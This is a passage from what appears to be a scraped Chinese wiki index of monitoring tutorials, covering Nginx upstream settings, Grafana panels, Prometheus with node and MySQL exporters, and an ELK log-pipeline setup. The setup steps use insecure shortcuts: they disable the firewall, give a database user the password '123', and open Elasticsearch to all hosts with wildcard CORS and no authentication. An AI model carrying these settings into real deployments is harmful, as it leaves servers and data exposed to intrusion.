参数将服务器标记为永久不可用,即使停机时间很短也是如此. 如果您使用 IP 哈希负载平衡技术,那也很重要. 如果其中一台服务器需要临时删除,则应使用此参数进行标记,以保留客户端 IP 地址的当前哈希值. 注释对于真正永久禁用服务器或要出于历史目的而保留信息非常有用. Nginx 还提供了一个备份参数,将该服务器标记为备份服务器. 当主服务器不可用时,将传递请求. 仅当我确定后端将在维护时正常工作时,我才很少将此选项用于上述目的. 示例1234upstream backend { server bk01_node:80 max_fails=3 fail_timeout=5s down; server bk02_node:80 max_fails=3 fail_timeout=5s;} 安全防盗链1234567location ~* \\.(gif|jpg|png)$ { # 只允许 192.168.0.1 请求资源 valid_referers none blocked 192.168.0.1; if ($invalid_referer) { rewrite ^/ http://$host/logo.png; }}","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"三. 使用Grafana创建可视化面板","path":"/wiki/MonitoringTechDocs/三. 使用Grafana创建可视化面板.html","content":"总字符数: 8.24K 代码: 0.73K, 文本: 2.34K 预计阅读时间: 13 分钟 引言Grafana 本身是非常轻量级的,不会占用大量资源,此外 Grafana 需要一个数据库来存储其配置数据,比如用户、数据源和仪表盘等,目前 Grafana 支持 SQLite、MySQL、PostgreSQL 3 种数据库,默认使用的是 SQLite,该数据库文件会存储在 Grafana 的安装位置,所以需要对 Grafana 的安装目录进行持久化. 安装Grafana要安装 Grafana 的方式有很多,我们这里使用的是 CentOS 系统,可以在 Grafana 官方下载页面筛选合适的版本 https://grafana.com/grafana/download%5C?edition=oss%5C&platform=linuxhttps://grafana.com/grafana/download%5C?edition=oss%5C&platform=linux 根据自己的需求来进行安装,比如我们这里直接使用 rpm 包进行安装: 12wget https://dl.grafana.com/enterprise/release/grafana-enterprise-10.0.2-1.x86_64.rpm yum install -y ./grafana-enterprise-10.0.2-1.x86_64.rpm 安装完成后我们就可以使用 systemd 来管理 Grafana: 1234systemctl daemon-reload systemctl enable grafana-server.servicesystemctl start grafana-server.servicesystemctl status grafana-server.service 默认的启动配置环境变量位于 /etc/sysconfig/grafana-server 文件中: 123456789101112131415cat /etc/sysconfig/grafana-serverGRAFANA_USER=grafana GRAFANA_GROUP=grafana GRAFANA_HOME=/usr/share/grafana LOG_DIR=/var/log/grafana DATA_DIR=/var/lib/grafana MAX_OPEN_FILES=10000 CONF_DIR=/etc/grafana CONF_FILE=/etc/grafana/grafana.ini RESTART_ON_UPGRADE=truePLUGINS_DIR=/var/lib/grafana/plugins PROVISIONING_CFG_DIR=/etc/grafana/provisioning # Only used on systemd systems PID_FILE_DIR=/var/run/grafana 从上面文件中可以找到 Grafana 的各种数据配置路径,比如数据目录、日志目录、插件目录等等,正常启动完成后 Grafana 会监听在 3000 端口上,所以我们可以在浏览器中打开 Grafana 的 WebUI. 默认的用户名和密码为 admin,也可以在配置文件 /etc/grafana/grafana.ini 中配置 admin_user 和 admin_password 两个参数来进行覆盖. 当然如果我们想要部署一个高可用版本的 Grafana 的话,那么使用 SQLite 数据库就不行了,需要切换到 MySQL 或者 PostgreSQL,我们可以在 Grafana 配置的 `[database]` 部分找到数据库的相关配置,Grafana 会将所有长期数据保存在数据库中,然后部署多个 Grafana 实例使用同一个数据库即可实现高可用. 创建面板面板(Panel)是 Grafana 中基本可视化构建块,每个面板都有一个特定于面板中选择数据源的查询编辑器,每个面板都有各种各样的样式和格式选项,面板可以在仪表板上拖放和重新排列,它们也可以调整大小,所以要在 Grafana 上创建可视化的图表,面板是我们必须要掌握的知识点. 数据源在创建面板之前我们需要指定我们的面板数据来源,也就是数据源,Grafana 支持多种数据源,我们这里当然使用 Prometheus 作为数据源来进行说明.在 Grafana 左侧工具栏选择 Configuration,点击到下面的 Data sources,打开添加数据源的页面: 点击页面中的 Add data source 按钮开始添加数据源: 选择第一项 Prometheus 数据源进行配置: 在 HTTP 项中配置 URL 地址为 `http://localhost:9090`,其实就是 Prometheus 的地址,由于我们这里 Grafana 和 Prometheus 都在同一个节点上,所以用 localhost 即可访问,当然用 IP 也可以. Access 选择默认的 Server 代理方式,这样就相当于 Grafana 程序去访问 Prometheus 而不是在浏览器端去访问, 如果 Prometheus 配置有认证,则还需要在下发配置 Auth 信息,配置完成后,拉到最下方点击 Save & test,提示添加成功即表面数据源添加成功了. 然后在数据源列表中就会出现我们刚刚添加的 Prometheus 这个数据源了 如果想要添加其他支持的数据源则也可用同样的方式进行添加. 添加面板面板是属于某一个 Dashboard 的,所以我们需要先创建一个 Dashboard,在侧边栏点击 + 切换到 Dashboard 下面开始创建 Dashboard: 在默认创建的新的 Dashboard 中就有一个空的面板,点击 `Add an empty panel` 即可开始添加面板: 进入面板编辑器后即可添加面板了,中间位置是查询语句的显示结果,下方是用于配置查询语句的地方,左侧可以选择面板显示的类型,面板元信息,比如标题、描述信息等. 比如我们现在就要来查询节点的 CPU 使用率,前面在 `node_exporter` 章节中已经学习了该监控数据的查询语句为 `(1 \\- sum(rate(node_cpu_seconds_total{mode=\"idle\"}[5m])) by (instance) / sum(rate(node_cpu_seconds_total[5m])) by (instance) ) * 100`,只需要将该语句填充到查询的 PromQL 语句中即可在上面显示出监控的结果: 点击右上角的 `Apply` 按钮即可创建成功一个 Panel 面板. 用同样的方式我们可以创建一个用于查询节点内存使用率的面板: 创建完成后的面板我们也可以拖动他们的排列位置: 如果还想重新编辑面板,可以点击标题,在弹出来的下拉框中选择 `Edit` 编辑即可: 添加参数现在我们在一个 Dashboard 中添加了两个 Panel,我们可以很明显看到会直接将所有的节点信息展示在同一个面板中,但是如果有非常多的节点的话数据量就非常大了,这种情况下我们最好的方式是将节点当成参数,可以让用户自己去选择要查看哪一个节点的监控信息,要实现这个功能,我们就需要去添加一个以节点为参数的变量来去查询监控数据. 点击 Dashboard 页面右上方的 Dashboard settings 按钮,进入配置页面: 在该 Settings 页面可以来对整个 Dashboard 进行配置,比如名称、标签、变量等: 这里我们点击左边的 `Variables` 添加一个变量,变量支持更具交互性和动态性的仪表板,我们可以在它们的位置使用变量,而不是在指标查询中硬编码,变量显示为 Dashboard 顶部的下拉列表,这些下拉列表可以轻松更改仪表板中显示的数据. 为了能够选择节点数据,这里我们定义了一个名为 `instance` 的变量名,但是定义的这个变量值从哪个地方获取呢? 监控节点的相关指标是来源于名为 `node-exporter` 的任务,我们可以通过查询 `up` 来获取所有的监控实例: 要想获取到 `instance` 标签中的值,我们这里可以使用一个正则表达式 `.*instance=\"(.*?)\".*` 来获取实例数据,这样就成功定义了一个变量,回到 Dashboard 页面就可以看到多了一个`选择节点`的下拉框: 但是这个时候的面板并不会随着我们下拉框的选择而变化,我们需要将 instance 这个变量传入查询语句中,比如重新修改CPU使用率的查询语句: 用同样的方式给内存使用率添加根据节点过滤的参数: 回到 Dashboard 页面就可以根据我们的下拉框来选择需要监控的节点数据了,定义参数的时候如果选择了可以选择所有,同样可以查看所有节点的数据:","tags":[null,null,null,null]},{"title":"二. Prometheus快速入门","path":"/wiki/MonitoringTechDocs/二. Prometheus快速入门.html","content":"总字符数: 14.52K 代码: 8.58K, 文本: 2.02K 预计阅读时间: 46 分钟 简介Prometheus 是任何一个高级工程师必须要掌握的技能.那么如何从零部署一套 Prometheus 监控系统呢?本篇文章将从 Prometheus 的原理讲起,手把手带你用一个最简单的例子部署一套 Prometheus 监控系统. 基本原理Prometheus的基本架构如下图所示: 从上图可以看到,整个 Prometheus 可以分为四大部分,分别是: Prometheus 服务器 Prometheus Server 是 Prometheus组件中的核心部分,负责实现对监控数据的获取,存储以及查询. NodeExporter 业务数据源 业务数据源通过 Pull/Push 两种方式推送数据到 Prometheus Server. AlertManager 报警管理器 Prometheus 通过配置报警规则,如果符合报警规则,那么就将报警推送到 AlertManager,由其进行报警处理. 可视化监控界面 Prometheus 收集到数据之后,由 WebUI 界面进行可视化图标展示.目前我们可以通过自定义的 API 客户端进行调用数据展示,也可以直接使用 Grafana 解决方案来展示. 简单地说,Prometheus 的实现架构也并不复杂.其实就是收集数据、处理数据、可视化展示,再进行数据分析进行报警处理. 但其珍贵之处在于提供了一整套可行的解决方案,并且形成了一整个生态,能够极大地降低我们的研发成本. 安装运行 Prometheus 服务端Prometheus 服务端负责数据的收集,因此我们应该首先安装并运行 Prometheus Server. https://prometheus.io/download/https://prometheus.io/download/ 12345678cd /opt# 关闭防火墙systemctl disable firewalld && systemctl stop firewalld# 下载wget https://github.com/prometheus/prometheus/releases/download/v2.45.0/prometheus-2.45.0.linux-amd64.tar.gz# 解压tar -zxvf prometheus-2.45.0.linux-amd64.tar.gz 下载后解压,可以看到如下目录结构: 1234567891011121314151617181920[root@localhost opt]# tree prometheus-2.45.0.linux-amd64prometheus-2.45.0.darwin-amd64├── console_libraries│ ├── menu.lib│ └── prom.lib├── consoles│ ├── index.html.example│ ├── node-cpu.html│ ├── node-disk.html│ ├── node.html│ ├── node-overview.html│ ├── prometheus.html│ └── prometheus-overview.html├── LICENSE├── NOTICE├── prometheus├── prometheus.yml└── promtool2 directories, 14 files 其中 data 目录是数据的存储路径,也可以通过运行时的 --storage.tsdb.path="data/" 命令另行指定.Prometheus.yml 是 Prometheus的配置文件,prometheus 是运行的命令. 启动prometheus服务,其会默认加载当前路径下的prometheus.yaml文件.当然我们也可以手动指定配置文件地址: 123456789101112mv prometheus-2.45.0.darwin-amd64 prometheuscd prometheus# 创建文件夹mkdir data# 编辑配置文件vim prometheus.yml# 将- targets: ["localhost:9090"]改为- targets: ["0.0.0.0:9090"]./prometheus --config.file=prometheus.yml --storage.tsdb.path="data/" 123456789101112131415161718192021222324252627282930# my global configglobal: scrape_interval: 15s # 将抓取间隔设置为每15秒一次.默认值为每分钟一次. evaluation_interval: 15s # 每15秒评估规则一次.默认值为每分钟一次. # scrape_timeout is set to the global default (10s). # 抓取超时时间设置为全局默认值(10秒).# Alertmanager configuration # Alertmanager 配置部分alerting: alertmanagers: - static_configs: - targets: # - alertmanager:9093# Load rules once and periodically evaluate them according to the global 'evaluation_interval'. # 加载规则并根据全局的 'evaluation_interval' 定期评估它们.rule_files: # - "first_rules.yml" # - "second_rules.yml"# A scrape configuration containing exactly one endpoint to scrape:# Here it's Prometheus itself. # 抓取配置,包含一个要抓取的终端节点,这里是 Prometheus 本身.scrape_configs: # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config. - job_name: "prometheus" # 作业名称作为标签 `job=<job_name>` 添加到从此配置中进行抓取的所有时间序列中. # metrics_path defaults to '/metrics' # scheme defaults to 'http'. static_configs: - targets: ["localhost:9090"] # 目标为本地的 Prometheus 实例,监听在 `localhost:9090` 地址上. 正常的情况下,你可以看到以下输出内容: 123456789101112131415161718192021ts=2023-07-17T12:13:50.792Z caller=main.go:534 level=info msg="No time or size retention was set so using the default time retention" duration=15dts=2023-07-17T12:13:50.792Z caller=main.go:578 level=info msg="Starting Prometheus Server" mode=server version="(version=2.45.0, branch=HEAD, revision=8ef767e396bf8445f009f945b0162fd71827f445)"ts=2023-07-17T12:13:50.792Z caller=main.go:583 level=info build_context="(go=go1.20.5, platform=linux/amd64, user=root@920118f645b7, date=20230623-15:09:49, tags=netgo,builtinassets,stringlabels)"ts=2023-07-17T12:13:50.792Z caller=main.go:584 level=info host_details="(Linux 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 localhost.localdomain (none))"ts=2023-07-17T12:13:50.792Z caller=main.go:585 level=info fd_limits="(soft=4096, hard=4096)"ts=2023-07-17T12:13:50.792Z caller=main.go:586 level=info vm_limits="(soft=unlimited, hard=unlimited)"ts=2023-07-17T12:13:50.794Z caller=web.go:562 level=info component=web msg="Start listening for connections" address=0.0.0.0:9090ts=2023-07-17T12:13:50.796Z caller=main.go:1019 level=info msg="Starting TSDB ..."ts=2023-07-17T12:13:50.798Z caller=tls_config.go:274 level=info component=web msg="Listening on" address=[::]:9090ts=2023-07-17T12:13:50.798Z caller=tls_config.go:277 level=info component=web msg="TLS is disabled." http2=false address=[::]:9090ts=2023-07-17T12:13:50.803Z caller=head.go:595 level=info component=tsdb msg="Replaying on-disk memory mappable chunks if any"ts=2023-07-17T12:13:50.804Z caller=head.go:676 level=info component=tsdb msg="On-disk memory mappable chunks replay completed" duration=8.094µsts=2023-07-17T12:13:50.804Z caller=head.go:684 level=info component=tsdb msg="Replaying WAL, this may take a while"ts=2023-07-17T12:13:50.804Z caller=head.go:755 level=info component=tsdb msg="WAL segment loaded" segment=0 maxSegment=0ts=2023-07-17T12:13:50.804Z caller=head.go:792 level=info component=tsdb msg="WAL replay completed" checkpoint_replay_duration=37.328µs wal_replay_duration=349.098µs wbl_replay_duration=163ns total_replay_duration=424.146µsts=2023-07-17T12:13:50.805Z caller=main.go:1040 level=info fs_type=XFS_SUPER_MAGICts=2023-07-17T12:13:50.805Z caller=main.go:1043 level=info msg="TSDB started"ts=2023-07-17T12:13:50.805Z caller=main.go:1224 level=info msg="Loading configuration file" filename=prometheus.ymlts=2023-07-17T12:13:50.807Z caller=main.go:1261 level=info msg="Completed loading of configuration file" filename=prometheus.yml totalDuration=1.289744ms db_storage=5.51µs remote_storage=4.965µs web_handler=505ns query_engine=2.431µs scrape=882.742µs scrape_sd=35.132µs notify=52.15µs notify_sd=13.842µs rules=4.135µs tracing=25.558µsts=2023-07-17T12:13:50.807Z caller=main.go:1004 level=info msg="Server is ready to receive web requests."ts=2023-07-17T12:13:50.807Z caller=manager.go:995 level=info component="rule manager" msg="Starting rule manager..." 输入 http://192.168.64.195:9090/graph 可以看到如下页面,这个是 Prometheus 自带的监控管理界面. NodeExporter 监控主机下载 Node ExporterNodeExporter 是 Prometheus 提供的一个可以采集到主机信息的应用程序,它能采集到机器的 CPU、内存、磁盘等信息. 我们从官网获取最新的 Node Exporter 版本的二进制包. https://prometheus.io/download/https://prometheus.io/download/ 下载解压后运行 Node Exporter,我们指定用 8080 端口运行: 12345cd /optwget https://github.com/prometheus/node_exporter/releases/download/v1.6.0/node_exporter-1.6.0.linux-amd64.tar.gztar -zxvf node_exporter-1.6.0.linux-amd64.tar.gzcd node_exporter-1.6.0.linux-amd64/./node_exporter --web.listen-address 127.0.0.1:8080 启动成功后,可以看到以下输出: 12ts=2023-07-17T12:18:19.690Z caller=tls_config.go:274 level=info msg="Listening on" address=127.0.0.1:8080ts=2023-07-17T12:18:19.690Z caller=tls_config.go:277 level=info msg="TLS is disabled." http2=false address=127.0.0.1:8080 配置 Prometheus 的监控数据源现在我们运行了 Prometheus 服务器,也运行了业务数据源 NodeExporter.但此时 Prometheus 还获取不到任何数据,我们还需要配置下 prometheus.yml 文件,让其去拉取 Node Exporter 的数据. 我们配置一下 Prometheus 的配置文件,让 Prometheus 服务器定时去业务数据源拉取数据.编辑prometheus.yml 并在 scrape_configs 节点下添加以下内容: 12345678scrape_configs: - job_name: 'prometheus' # 给被监控主机取个名字 static_configs: - targets: ['0.0.0.0:9090'] # 采集node exporter监控数据 - job_name: 'node' # 给被监控主机取个名字 static_configs: - targets: ['localhost:8080'] 上面配置文件配置了两个任务.一个是名为 prometheus 的任务,其从「0.0.0.0:9090」地址读取数据.另一个是名为 node 的任务,其从「localhost:8080」地址读取数据. 配置完成后,我们重新启动 Prometheus. 1./prometheus --config.file=prometheus.yml --storage.tsdb.path="data/" 查询监控数据配置完 Prometheus 读取的数据源之后,Prometheus 便可以从 Node Exporter 获取到数据了.那么接下来我们如何查看到这些数据呢?答案是:Prometheus UI! Prometheus UI 是 Prometheus 内置的一个可视化管理界面,我们通过 http://localhost:9090 就可以访问到该页面. 通过 Prometheus UI 可以查询 Prometheus 收集到的数据,而 Prometheus 定义了 PromQL 语言来作为查询监控数据的语言,其余 SQL 类似. 接下来我们访问 http://localhost:9090,进入到 Prometheus Server.如果输入「up」并且点击执行按钮以后,可以看到如下结果: 可以看到 Element 处有几条记录,其中 instance 值为 localhost:8080 的记录,value 是 1,这代表对应应用是存活状态. 1up{instance="localhost:8080", job="node"} 1 例如查看我们所运行 NodeExporter 节点所在机器的内存使用情况,可以输入 node_memory_Active_bytes/(1024*1024*1024) 查看. 查看 NodeExporter 节点所在机器 CPU 1 分钟的负载情况,可以输入 node_load1 即可查看. 点Status–>Targets–>就可以看到监控的本机 到这里,我们基本上为完成了数据的收集过程,即数据从业务侧收集到 Prometheus 侧,并且还学会了如何使用 Prometheus 自带的控制台. MysqldExporter监控MySQL下载 MysqldExporter在被管理MySQL服务器上安装mysqld_exporter组件 https://prometheus.io/download/#mysqld_exporterhttps://prometheus.io/download/#mysqld_exporter 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051cd /optwget https://github.com/prometheus/mysqld_exporter/releases/download/v0.15.0/mysqld_exporter-0.15.0.linux-amd64.tar.gz# 解压安装包tar -zxvf mysqld_exporter-0.15.0.linux-amd64.tar.gz# 重命名mv mysqld_exporter-0.15.0.linux-amd64 mysqld_exporter# 临时安装个mysql#Yum安装Mariadbyum install mariadb mariadb-server -y#启动Mariadbsystemctl start mariadb#设为开机自启systemctl enable mariadb#Mariadb初始化mysql_secure_installation#删除匿名用户?Remove anonymous users? [Y/n] y#禁止root远程登录Disallow root login remotely? [Y/n] n#删除测试数据库并访问它?Remove test database and access to it? [Y/n] y#现在重新加载特权表?Reload privilege tables now? [Y/n] y# 在MySQL服务器上创建监控用户mysql> grant select,replication client, process on *.* to 'mysql_monitor'@'localhost' identified by '123';Query OK, 0 rows affected, 1 warning (0.00 sec)mysql> flush privileges;Query OK, 0 rows affected (0.03 sec)mysql> exitBye# 将上面创建的mysql用户信息写入mysqld_exporter配置文件(新创建一个)vim /opt/mysqld_exporter/.my.cnf[client]user=mysql_monitorpassword=123# 启动mysqld_exporternohup /opt/mysqld_exporter/mysqld_exporter --config.my-cnf=/opt/mysqld_exporter/.my.cnf &# 确认是否正常启动(默认端口9104)netstat -lnptu | grep 9104tcp6 0 0 :::9104 :::* LISTEN 32688/mysqld_export 添加监控项回到prometheus服务器的配置文件里添加被监控的mariadb的配置段 1234567vim /opt/prometheus/prometheus.yml - job_name: 'mysql-1' # 给被监控主机取个名字 static_configs: - targets: ['192.168.64.195:9104'] # 这里填写被监控主机的IP和端口 # 有多少台被监控MySQL服务器就照格式添加在后面就可以 回到web管理界面点Status–>Targets–>就可以看到监控的MySQL服务器了 查询监控数据回到主界面搜索mysql相关参数mysql_global_status_threads_connected Grafana可视化Grafana图形显示系统监控数据在Grafana上添加Prometheus数据源我们把prometheus服务器收集的数据做为一个数据源添加到grafana,让grafana可以得到prometheus的数据 Grafana导入监控模板Grafana图形显示Linux硬件信息 Grafana官方提供模板地址 https://grafana.com/grafana/dashboardshttps://grafana.com/grafana/dashboards 本次要导入的模板 https://grafana.com/grafana/dashboards/11074https://grafana.com/grafana/dashboards/11074 即可看到逼格非常高的系统主机节点监控信息 Grafana图形显示MySQL监控数据 MySQL监控做的最好当属percona公司的了 https://grafana.com/grafana/dashboards/7362-mysql-overviewhttps://grafana.com/grafana/dashboards/7362-mysql-overview 当然,这个更新的不及时,要体验最新的我们直接去项目地址下载安装mysql监控的dashboard(包含相关json文件,这些json文件可以看作是开发人员开发的一个监控模板) 方式二:导入最新的json文件 下载最新json文件包 解压得到相关JSON文件 12345678910111213141516171819202122HAProxy_Instance_Summary.json: HAProxy实例的概览信息和关键指标.MySQL_Amazon_Aurora_Details.json: Amazon Aurora数据库的详细信息和性能指标.MySQL_Command_Handler_Counters_Compare.json: MySQL命令处理器计数器的比较和分析.MySQL_Group_Replication_Summary.json: MySQL Group Replication集群的概览和状态.MySQL_InnoDB_Compression_Details.json: InnoDB存储引擎的压缩策略和性能指标.MySQL_InnoDB_Details.json: InnoDB存储引擎的详细信息和性能指标.MySQL_Instances_Compare.json: 不同MySQL实例之间性能指标的比较.MySQL_Instances_Overview.json: MySQL实例的概览信息和性能指标.MySQL_Instance_Summary.json: 单个MySQL实例的概览信息和关键指标.MySQL_MyISAM_Aria_Details.json: MyISAM和Aria存储引擎的详细信息和性能指标.MySQL_MyRocks_Details.json: MyRocks存储引擎的详细信息和性能指标.MySQL_Performance_Schema_Details.json: MySQL Performance Schema的详细信息和性能指标.MySQL_Query_Response_Time_Details.json: 查询响应时间的详细信息和性能指标.MySQL_Replication_Summary.json: MySQL复制的概览和状态.MySQL_Table_Details.json: MySQL表的详细信息和性能指标.MySQL_TokuDB_Details.json: TokuDB存储引擎的详细信息和性能指标.MySQL_User_Details.json: MySQL用户和权限的详细信息和统计.MySQL_Wait_Event_Analyses_Details.json: MySQL等待事件分析的详细信息和指标.ProxySQL_Instance_Summary.json: ProxySQL实例的概览信息和关键指标.PXC_Galera_Cluster_Summary.json: Percona XtraDB Cluster (PXC) Galera集群的概览和状态.PXC_Galera_Nodes_Compare.json: PXC Galera集群节点之间性能指标的比较.PXC_Galera_Node_Summary.json: 单个PXC Galera集群节点的概览信息和关键指标. 在grafana图形界面导入MySQL相关json文件 grafana展示MySQL相关数据","tags":[null,null,null,null]},{"title":"四. 从零搭建日志采集报警系统ELK","path":"/wiki/MonitoringTechDocs/四. 从零搭建日志采集报警系统ELK.html","content":"总字符数: 10.17K 代码: 5.83K, 文本: 1.05K 预计阅读时间: 30 分钟 系统选型Elastic 公司有一套免费开源的日志采集系统(ELK),所以我选择拿来即用. 日志流: 日志文件→FileBeat→Logstash→ElasticSearch→Kibana FilebeatFilebeat是一款轻量级日志采集器,可用于转发和汇总日志与文件.Filebeat内置有多种模块(Nginx、MySQL、Redis、Elasticsearch、Logstash等),可针对常见格式的日志大大简化收集、解析和可视化过程,只需一条命令即可. LogstashLogstash是一个分布式日志收集框架,开发语言是JRuby,经常与ElasticSearch,Kibana配合使用组成著名的ELK技术栈,所谓ELK就是ElasticSearch、Logstash、Kibana这三个组件. ElasticSearchElasticsearch 是一个分布式、可扩展、实时的搜索与数据分析引擎.它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口. KibanaKibana 是一个免费且开放的用户界面,能够让您对 Elasticsearch 数据进行可视化.您可以进行各种操作,从跟踪查询负载,到理解请求如何流经您的整个应用,都能轻松完成. 系统准备系统设置1234567891011121314151617# 关闭防火墙(如果因为其他原因不能关闭防火墙,也请不要禁止80和9200端口):systemctl stop firewalld.service# 禁止防火墙自动启动:systemctl disable firewalld.service# 修改操作系统参数vi /etc/sysctl.confvm.max_map_count=262144# 加载sysctl配置,执行命令:sysctl -pvim /etc/security/limits.conf# 在文件最后加入* soft nofile 65536* hard nofile 131072* soft nproc 2048* hard nproc 4096 jdk安装https://www.openlogic.com/openjdk-downloadshttps://www.openlogic.com/openjdk-downloads 123456789101112131415161718# 进入opt目录cd /opt# 下载JDK,推荐11系列wget https://builds.openlogic.com/downloadJDK/openlogic-openjdk/11.0.8%2B10/openlogic-openjdk-11.0.8%2B10-linux-x64.tar.gz# 解压tar -zxvf openlogic-openjdk-11.0.8+10-linux-x64.tar.gz# 修改文件夹名mv openlogic-openjdk-11.0.8+10-linux-x64/ jdk/# 定义环境变量sed -i.ori '$a export ES_JAVA_HOME=/opt/jdk export PATH=$ES_JAVA_HOME/bin:$ES_JAVA_HOME/jre/bin:$PATH export CLASSPATH=.:$ES_JAVA_HOME/lib:$ES_JAVA_HOME/jre/lib:$ES_JAVA_HOME/lib/tools.jar' /etc/profile# 加载环境变量配置信息source /etc/profile# 确认检查jdk版本信息java -versionopenjdk version "11.0.8" 2020-07-14OpenJDK Runtime Environment OpenLogic-OpenJDK (build 11.0.8+0-adhoc.centos.jdk11u)OpenJDK 64-Bit Server VM OpenLogic-OpenJDK (build 11.0.8+0-adhoc.centos.jdk11u, mixed mode) Elasticsearch部署1234567891011121314151617181920212223242526272829303132# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.14.1-linux-x86_64.tar.gz# 解压tar包tar -zxvf elasticsearch-7.14.1-linux-x86_64.tar.gz# 拷贝文件目录到/usr/localcp -r elasticsearch-7.14.1/ /usr/local/elasticsearch# 建立软连接ln -s /usr/local/elasticsearch/ elasticsearch# 修改配置文件vim /usr/local/elasticsearch/config/elasticsearch.yml# 以下取消注释# 集群名称,单机版使用默认即可cluster.name: my-application# 节点名称,单机版使用默认即可node.name: node-1# 数据存放的路径path.data: /usr/local/elasticsearch/data/# 应用日志存放的路径path.logs: /usr/local/elasticsearch/logs/# 服务绑定的IP地址network.host: 0.0.0.0# 服务监听的端口http.port: 9200#初始主节点cluster.initial_master_nodes: ["node-1"]# 跨域配置http.cors.enabled: truehttp.cors.allow-origin: "*" es不能以root用户身份运行,所以要创建新的用户组和用户名称 1234567# 创建用户组groupadd elsearch# 创建用户useradd elsearch -g elsearch -p elasticsearch# 把es要用到的路径都设置成的文件组权限设置成新的用户组和用户chown -R elsearch:elsearch /usr/local/elasticsearch 启动es 1234# 切换到es用户su elsearch# 以后台服务运行/usr/local/elasticsearch/bin/elasticsearch -d 查看启动日志可执行命令tail -f /usr/local/elasticsearch/logs/my-application.log 通过ss -lntup查看端口号已经启动 执行curl命令检查服务是否正常响应:curl 127.0.0.1:9200,收到响应如下: 至此,ElasticSerach服务启动成功 Kibana部署123456789101112131415161718192021222324252627282930313233343536# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/kibana/kibana-7.14.1-linux-x86_64.tar.gz# 解压tar -zxvf kibana-7.14.1-linux-x86_64.tar.gz# 拷贝文件目录到/usr/localcp -r kibana-7.14.1-linux-x86_64 /usr/local/kibana# 建立软连接ln -s /usr/local/kibana/ kibana#打开Kibana的配置文件vim /usr/local/kibana/config/kibana.yml# 服务端口server.port: 80# 服务器主机IP地址server.host: "主机的IP地址"# es索引服务器地址与上一步配置es时的地址相同elasticsearch.hosts: ["http://xxx.xxx.xxx.xxx:9200"]i18n.locale: "zh-CN"# 按esc输入以下内容保存并退出:wq# 这样其他电脑就能用浏览器访问Kibana服务了# 不能以root用户运行# 把es要用到的路径都设置成的文件组权限设置成新的用户组和用户chown -R elsearch:elsearch /usr/local/kibana# 切换到es用户su elsearch# 先前台运行看有没有报错/usr/local/kibana/bin/kibana# # 让服务在后台运行nohup /usr/local/kibana/bin/kibana & 查看启动日志:tail -f /home/elsearch/nohup.out 以下信息表示启动成功: 在浏览器访问http://主机IP:80;看到如下页面 小技巧 linux对于非root权限用户不能使用1024以下的端口,为了能够绑定端口 80 或 443,我们需要为 kibana 的二进制文件设置一些新功能.这可以以 root 用户身份使用以下命令完成: 1234setcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibanasetcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibana-pluginsetcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibana-keystoresetcap cap_net_bind_service=+epi /usr/local/kibana/node/bin/node 现在就可以了 Filebeat部署(日志机)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.14.1-linux-x86_64.tar.gztar -zxvf filebeat-7.14.1-linux-x86_64.tar.gzmkdir /usr/local/elkcp -r filebeat-7.14.1-linux-x86_64 /usr/local/elk/filebeat# 修改配置文件vim /usr/local/elk/filebeat/filebeat.yml# 配置输入插件,注意是yml格式filebeat.inputs:# 数据来源是log日志文件- type: log enabled: true# 日志文件路径 paths: - /usr/local/nginx/nginx/logs/access*.log# 解释内容格式为json的日志# json.keys_under_root: true# json.add_error_key: true# json.message_key: log# json.overwrite_keys: true# 额外的标识字段,可以于区分是来自于哪个应用 fields: log_type: logbackjson# 配置多个log数据源# - type: log # Change to true to enable this input configuration.# enabled: true # Paths that should be crawled and fetched. Glob based paths.# paths:# - /var/log/xhg/gateway/*.log## json.keys_under_root: true# json.add_error_key: true# json.message_key: log# json.overwrite_keys: true# fields:# log_type: gateway# 当输出插件中要使用自定义索引名称的时候配置这个# setup.template.name: "cobee"# setup.template.pattern: "cobee-*"# 关闭ES配置# 配置数据输出目标地# output.elasticsearch: # Array of hosts to connect to. # hosts: ["172.18.219.11:9200"] # index: "xhg-ms-%{+yyyy.MM.dd}"# 其它配置项保持默认即可output.logstash: # The Logstash hosts hosts: ["localhost:5044"]# 按esc输入以下内容保存并退出:wq# 后台运行filebeat,filebeat是一个轻量级的数据采集引擎,不需要安装jdk,不像logstash那么笨重nohup /usr/local/elk/filebeat/filebeat -e -c /usr/local/elk/filebeat/filebeat.yml -d "Publish" & > nohup.out#停止filebeat:ps -ef grep filebeat kill -9 pid logstash部署(日志机)12345678910111213141516171819202122232425262728293031323334353637383940wget https://artifacts.elastic.co/downloads/logstash/logstash-7.14.1-linux-x86_64.tar.gztar -zxvf logstash-7.14.1-linux-x86_64.tar.gzmkdir /usr/local/elkcp -r logstash-7.14.1 /usr/local/elk/logstash# 在目录/usr/local/elk/logstash下创建文件vim /usr/local/elk/logstash/default.conf# 内容如下:# 监听5044端口作为输入input { beats { port => "5044" }}# 数据过滤filter { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } geoip { source => "clientip" }}# 这是ElasticSerach服务的监听端口output { elasticsearch { hosts => ["192.168.10.129:9200"] index => "%{appname}-%{+YYYY.MM.dd}" #根据项目名称动态创建索引 }}# 启动logstashnohup /usr/local/elk/logstash/bin/logstash -f /usr/local/elk/logstash/default.conf --config.reload.automatic &# 如果报错运行# 报错内容:Error: missing `server' JVM at `/usr/local/elk/logstash/jdk/lib/server/libjvm.so'.# Please install or use the JRE or JDK that contains these missing componentscp /usr/local/elk/logstash/logstash-7.14.1/jdk/lib/server/libjvm.so /usr/local/elk/logstash/jdk/lib/server/tail -f /usr/local/elk/logstash/logs/logstash-plain.log Kibana配置Chrome扩展程序下载ElasticSearch Head,查看ElasticSearch是否有数据 配置Kibana","tags":[null,null,null,null]},{"title":"一. 